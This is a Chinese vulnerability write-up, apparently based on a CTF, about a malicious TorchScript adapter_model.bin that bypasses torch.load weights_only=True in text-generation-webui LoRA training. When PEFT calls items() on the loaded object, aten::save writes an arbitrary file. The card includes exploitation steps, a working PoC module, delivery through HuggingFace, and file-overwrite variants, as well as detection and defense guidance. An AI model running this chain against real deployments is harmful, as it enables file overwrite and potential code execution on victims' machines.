text-generation-webui LoRA 训练加载恶意 adapter_model.bin:weights_only=True 仍走 torch.jit.load,PEFT 的 state_dict.items() 触发 TorchScript aten::save 写文件
ai-security/supply-chain · verified
一句话结论
在 text-generation-webui 3.13 的 LoRA 微调流程中,training.py 用 torch.load(f"{lora_file_path}/adapter_model.bin", weights_only=True) 加载用户 lora_name 对应目录下的权重;weights_only=True 只约束普通 pickle,遇到 TorchScript zip 仍会转交 torch.jit.load。攻击者通过应用自带的 HuggingFace 模型下载功能把恶意 TorchScript 文件放进 user_data/loras/<repo>/adapter_model.bin,再把训练参数 lora_name 设为该目录名;当 PEFT 处理返回对象时调用 state_dict.items(),恶意模块的 items() 被触发,执行 aten::save(torch.save)向攻击者指定路径写文件。
原理
- 入口可控:训练页的
lora_name是用户参数。do_train()先lora_file_path = clean_path(lora_name),随后拼成lora_file_path = f"{Path(shared.args.lora_dir)}/{lora_file_path}";shared.args.lora_dir固定为user_data/loras。虽然只能控制路径的后半段,但足以指向user_data/loras下的任意子目录。 - 文件落位可控:应用没有上传接口,但提供“Download model or LoRA”功能,可从 HuggingFace 按
user/repo下载模型到user_data/loras/<user>_<repo>/。攻击者发布一个包含恶意adapter_model.bin的仓库,诱导或让受害者在 WebUI 中下载,即可把文件写进lora_dir下可控目录,不需要任何文件上传漏洞。 - sink:训练时若
adapter_model.bin存在,代码执行state_dict_peft = torch.load(f"{lora_file_path}/adapter_model.bin", weights_only=True)。表面上weights_only=True已开启,应该是安全的。 - weights_only 的真实边界:
torch.load(..., weights_only=True)对普通 pickle 使用受限的_weights_only_unpickler,只允许OrderedDict、torch.Tensor、torch.Size等白名单全局变量,常规os.systemgadget 会被拦截。但torch.load在解析前会判断文件是否为 zip:若内容看起来像 TorchScript 归档,就调用torch.jit.load(opened_file, map_location=...)并直接返回,完全不经过_weights_only_unpickler白名单。因此weights_only=True并不能阻止恶意 TorchScript。 - TorchScript 可执行 IR:用
torch.jit.script()编译的模块保存了计算图,支持aten::save这类带副作用的算子。攻击者在模块中定义items()(或forward)调用torch.save(data, path),并保存成 zip 格式的.bin,即得到一个“加载后调用特定方法就会写文件”的模型。 - 触发点:
torch.load本身只返回ScriptModule对象,不会执行模块方法。题目代码在拿到state_dict_peft后调用set_peft_model_state_dict(lora_model, state_dict_peft);该函数把对象赋给state_dict,再进入_insert_adapter_name_into_state_dict,其中for key, val in state_dict.items():会调用对象的items()方法。攻击者只要在 TorchScript 模块上实现items(),文件写入就在这一步发生。 - 为什么能过 PEFT 检查:
_insert_adapter_name_into_state_dict期望一个 dict,直接对它调用.items();恶意ScriptModule提供的同名方法满足了调用约定,参数校验发生在迭代之后或根本不校验,因此不需要模型结构真正匹配 LoRA 权重。 - 写文件的格式限制:
torch.save写出的是 Torch 序列化归档(zip/pickle 结构),不是任意明文。原文截图中的目标文件以PK头和archive/data.pkl开头,说明即使写入/etc/cron.d之类的路径也未必能被 cron 直接解析;原文提出“最后通过写定时任务实现 RCE”属于基于 Dockerfile 的推断,未给出成功执行定时任务的截图。该原语确定可做到“攻击者指定路径 + 可影响内容”的文件创建/覆盖,能否升级为 RCE 取决于目标路径接受的格式以及后续是否会被加载/执行,需要按环境验证。 - 版本条件:原文复现环境为 text-generation-webui 3.13、PyTorch 2.5.1。该
torch.jit.load分派行为与 PyTorch 版本相关;应用侧若移除 TorchScript 自动分派、或训练接口限制lora_name/模型下载目录,链条即不成立。
触发条件
- 目标运行该 text-generation-webui 3.13 训练环境(原文为 CTF 题目),且训练功能可访问。
- 攻击者能把恶意
adapter_model.bin放进user_data/loras/<可控目录>:利用应用的 HuggingFace 模型下载功能下载攻击者仓库,或通过共享目录/其他写文件方式落位。 - 训练表单中的
lora_name可设为该目录名,使torch.load指向恶意文件。 - 训练代码在
torch.load后会对返回对象调用.items()(经set_peft_model_state_dict/_insert_adapter_name_into_state_dict)。 - 训练进程对目标写入路径有权限;若要 RCE,目标路径还需接受 Torch 序列化格式或存在后续加载/执行链。
利用步骤
- 构造恶意 TorchScript 模块:定义
items(),在其中调用torch.save(payload, target_path)后返回正常结果;用torch.jit.script()编译并保存为evil.bin。 - 在 HuggingFace 创建模型仓库,把
evil.bin命名为adapter_model.bin,可同时放置合法的adapter_config.json、adapter_model.safetensors降低怀疑。 - 在目标 WebUI 的 Download 功能中下载该仓库,文件落到
user_data/loras/<user>_<repo>/adapter_model.bin,确认目录名。 - 在 Train LoRA 页面把
lora_name填成该目录名并启动训练;training.py拼出路径并调用torch.load(..., weights_only=True)。 torch.load识别 TorchScript zip 并交给torch.jit.load返回模块;set_peft_model_state_dict迭代时调用items(),aten::save执行,写入目标文件。- 检查目标文件是否生成;授权测试只写无害路径,不覆盖系统文件、不写持久化位置。
- 如要尝试 RCE,先确认目标路径接受的格式与后续执行机制,不能默认
torch.save的归档内容可被 cron/脚本解释器直接执行。
PoC
恶意 TorchScript 模块(原文核心代码):
import torch
class SimpleModule(torch.nn.Module):
def __init__(self):
super(SimpleModule, self).__init__()
self.linear = torch.nn.Linear(10, 5)
def items(self):
torch.save("\ntest\n", "E:/tmp/1.txt")
return torch.zeros(0)
def forward(self):
self.items()
return torch.zeros(0)
module = SimpleModule()
sc = torch.jit.script(module)
sc.save("evil.bin")
# 验证:weights_only=True 仍能加载 TorchScript,调用 items() 触发写文件
newModule = torch.load("evil.bin", weights_only=True)
newModule.items()
投递与触发:
1) 将 evil.bin 以 adapter_model.bin 名称上传到攻击者 HuggingFace 仓库
2) 目标 WebUI -> Model -> Download model or LoRA -> 输入 attacker/repo
文件保存到 user_data/loras/attacker_repo/
3) Train LoRA -> Name 填 attacker_repo -> Start LoRA Training
4) training.py: torch.load("user_data/loras/attacker_repo/adapter_model.bin", weights_only=True)
5) set_peft_model_state_dict -> _insert_adapter_name_into_state_dict -> state_dict.items()
6) aten::save 写入目标路径
说明:原文在 Windows 环境将内容写到 E:/tmp/1.txt,截图确认文件生成;写入内容是 torch.save 的序列化归档而非纯文本。完整的定时任务 RCE 链未在原文截图中演示,本卡按文件写入原语记录,升级 RCE 需按目标环境验证。
变体与关联
- 触发方法变体:PEFT 代码调用
.items(),因此恶意模块实现items();若其他下游代码调用len()、__getitem__、keys()、to()等,可在对应 dunder/方法中放置aten::save;也可把副作用放在forward,等待正常推理触发。 - 文件写入变体:覆盖模型文件、训练配置、Web 静态目录、启动脚本、
authorized_keys等;写入内容为 Torch 序列化格式,需验证目标路径是否接受。 - 投递变体:应用内 HuggingFace 下载只是其中一种落位方式;共享模型目录、供应链仓库投毒、本地路径穿越、其他文件写入漏洞都可把恶意
adapter_model.bin放进lora_dir。 - 同类目标:所有“Web 训练/微调界面 + 用户可控模型路径 +
torch.load加载权重”的 AI 应用;weights_only=True不应被视为对 TorchScript 的完整防护。 - 关联卡片:[[ai-security-supply-chain-torchscript-jit-load-aten-save-file-write]](TorchScript/aten::save 与 weights_only 绕过原语)、[[ai-security-supply-chain-llamafactory-value-head-torch-load-pickle-rce]](训练 WebUI 加载恶意
.bin的同类链)、[[ai-security-supply-chain-vllm-torch-load-weights-only-pickle-rce]](torch.load 权重加载)、[[ai-security-supply-chain-huggingface-pickle-model-reverse-shell]](HF 恶意模型投递)。 - 边界:应用若禁用/移除 TorchScript 分派、对
lora_name做白名单、限制模型下载目录,或下游不调用items(),链条不成立;torch.save的归档格式限制了直接写 cron 等明文配置的能力。
检测与防御
- 输入与路径:
lora_name只允许已审核的适配器名,禁止路径分隔符与任意目录;模型下载目录与训练加载目录分离,加载前做白名单校验。 - 模型格式:拒绝 TorchScript zip 作为 LoRA 权重,只接受 safetensors 或经过结构校验的纯权重;加载前做签名/哈希校验与 pickle/TorchScript 静态扫描。
- PyTorch 与应用:升级 PyTorch 并在应用层显式禁止
torch.jit.load自动分派;审计所有torch.load调用及返回对象的后续方法调用。 - 权限与沙箱:训练进程以低权限运行,限制可写目录;训练任务放在无网络、只读根文件系统的容器中;敏感目录(cron、systemd、Web 根、
.ssh)不可写。 - 检测:监控
user_data/loras下新增的adapter_model.bin来源与哈希;监控训练进程对非模型目录的写入、异常torch.save文件(PK/archive/data.pkl特征);审计训练参数lora_name中的路径分隔符;对从 HuggingFace 下载的仓库做来源与内容校验。 - 响应:隔离恶意模型与下载仓库,检查被写入/覆盖的文件,清理持久化位置,轮换训练节点凭据,升级或修补训练代码。